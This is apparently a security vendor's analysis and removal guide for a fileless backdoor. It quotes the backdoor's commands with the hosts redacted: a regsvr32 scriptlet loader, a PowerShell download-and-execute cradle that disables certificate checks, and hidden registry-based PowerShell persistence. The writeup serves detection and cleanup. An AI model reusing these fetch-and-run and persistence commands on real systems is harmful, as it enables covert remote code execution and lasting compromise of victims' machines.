Analysis by: Byron Jon Gelera






  • Threat Type: Backdoor

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes



Connects to URLs/IPs, Modifies system registry, Steals information

This malware may be downloaded from the following remote sites:

  • http://{BLOCKED}2.{BLOCKED}
  • It arrives via the following means:

    • The malware could arrive via autostart registry created by other malware:
      • HKEY_USERS\{SID}\Software\Microsoft\Windows\CurrentVersion\Run
        COM+ = "regsvr32 /s /n /u /i:http://{BLOCKED}2.{BLOCKED} scrobj.dll"

    It connects to the following website(s) to download and execute a malicious file:

    • https://{BLOCKED}

    It uses the following Powershell to download and execute a malicious file:

    • %System%\WindowsPowerShell\v1.0\powershell.exe -nop -ep Bypass -noexit -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }; iex ((New-Object System.Net.WebClient).DownloadString('https://{BLOCKED}'));

    The downloaded file will not be saved in the machine, thus, it will be executed directly upon successful download via powershell commands.

    Once executed, this downloaded file will then connect to the following website(s) to download and execute another malicious file:

    • https://{BLOCKED}

    This newly downloaded file (normal file, favicon) will also not be saved in the machine, instead, it will be decrypted using RC4 Algorithm, in order to produce a malicious DLL file, which will be injected in the malware's process directly, using ReflectivePEInjection function

    The decrypted DLL file is the main backdoor payload. This DLL file does the following:

      It checks for the following requirements to proceed with its routine:
      • No existing "Global\Mutex_4e1c16d7187ac191a832a41f7192645425dad5c792b76ed1dd7071926289ac66" mutex
      • No existing "C:\Python27" folder
      • Presence of "%System%\WindowsPowerShell\v1.0\powershell.exe"

    It adds the following processes:

    • WerFault.exe (Windows Vista and above) / ctfmon.exe (Windows XP and below)
    • msiexec.exe

    It injects codes into the following process(es):

    • created WerFault.exe/ctfmon.exe
    • created msiexec.exe

    It adds the following mutexes to ensure that only one of its copies runs at any one time:

    • Global\Mutex_4e1c16d7187ac191a832a41f7192645425dad5c792b76ed1dd7071926289ac66

    It adds the following registry entries to enable its automatic execution at every system startup:

    • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
      {UID} = "%System%\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\{random character}').{random character})));"

    It adds the following registry entries:

    • HKEY_CURRENT_USER\Software\Classes\{random characters}
      {random characters} = {base 64 encoded powershell command}
    • HKEY_CURRENT_USER\Software\Classes\{random characters}
      {UID} = {encrypted binary data}
    • HKEY_CURRENT_USER\Console\%SystemRoot%\_system32_WIndowsPowerShell_v1.0_powershell.exe
      WindowPosition = 4294905760
    • HKEY_CURRENT_USER\Console\%SystemRoot%\_system32_WIndowsPowerShell_v1.0_powershell.exe
      ScreenBufferSize = 65616
    • HKEY_CURRENT_USER\Console\%SystemRoot%\_system32_WIndowsPowerShell_v1.0_powershell.exe
      WindowSize = 65616

    It uses the following powershell command to decrypt and execute the base64 encoded powershell command in the registry:

    • "%System%\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\{random characters}').{random character})));"

    It deletes the following registry entries:

    • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
      {UID} = {where the data has the following strings}:
      • "powershell"
      • "-windowstyle hidden"
      • "[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String"
    • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
      COM+ = {current value}
    • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe
      Debugger = "taskmgr.exe"

    It terminates the following processes if found running in the affected system's memory:

    • powershell.exe

    It connects to the following URL(s) to check for an Internet connection:


    It connects to the following Network Time Protocol (NTP) servers:


    It connects to the following websites to send and receive information:

    • http://{Random Generated Domain}/
    • http://{BLOCKED}
    • http://{BLOCKED}

    It gathers the following data:

    • Root Volume Serial Number
    • Operating System Version
    • Local IP Address
    • Administrator privileges

    It executes the following commands from a remote malicious user:

    • Start a Process
    • Download a file directed by C&C server, save it as %User Temp%\KB{8 random numbers}.exe and execute it
    • Copy %System%\cdosys.dll to %User Temp%\cdo{random number}.dll and load it
    • Uninstall itself


    Minimum Scan Engine:


    Step 1

    Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

    Step 2

    Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

    Step 3

    Restart in Safe Mode

    [ Learn More ]

    Step 4

    Delete these registry values

    [ Learn More ]

    Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this only if you know how to or you can seek your system administrator’s help. You may also check out this Microsoft article first before modifying your computer's registry.

    • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
      • {UID} = "%System%\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\{random character}').{random character})));"
    • In HKEY_CURRENT_USER\Software\Classes\{random characters}
      • {random characters} = {base 64 encoded powershell command}
    • In HKEY_CURRENT_USER\Software\Classes\{random characters}
      • {UID} = {encrypted binary data}
    • In HKEY_CURRENT_USER\Console\%SystemRoot%\_system32_WIndowsPowerShell_v1.0_powershell.exe
      • WindowPosition = 4294905760
    • In HKEY_CURRENT_USER\Console\%SystemRoot%\_system32_WIndowsPowerShell_v1.0_powershell.exe
      • ScreenBufferSize = 65616
    • In HKEY_CURRENT_USER\Console\%SystemRoot%\_system32_WIndowsPowerShell_v1.0_powershell.exe
      • WindowSize = 65616
    • In HKEY_USERS\{SID}\Software\Microsoft\Windows\CurrentVersion\Run
      • COM+ = "regsvr32 /s /n /u /i:http://{BLOCKED}2.{BLOCKED} scrobj.dll"

    Step 5

    Restart in normal mode and scan your computer with your Trend Micro product for files detected as Fileless-ANDROM. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

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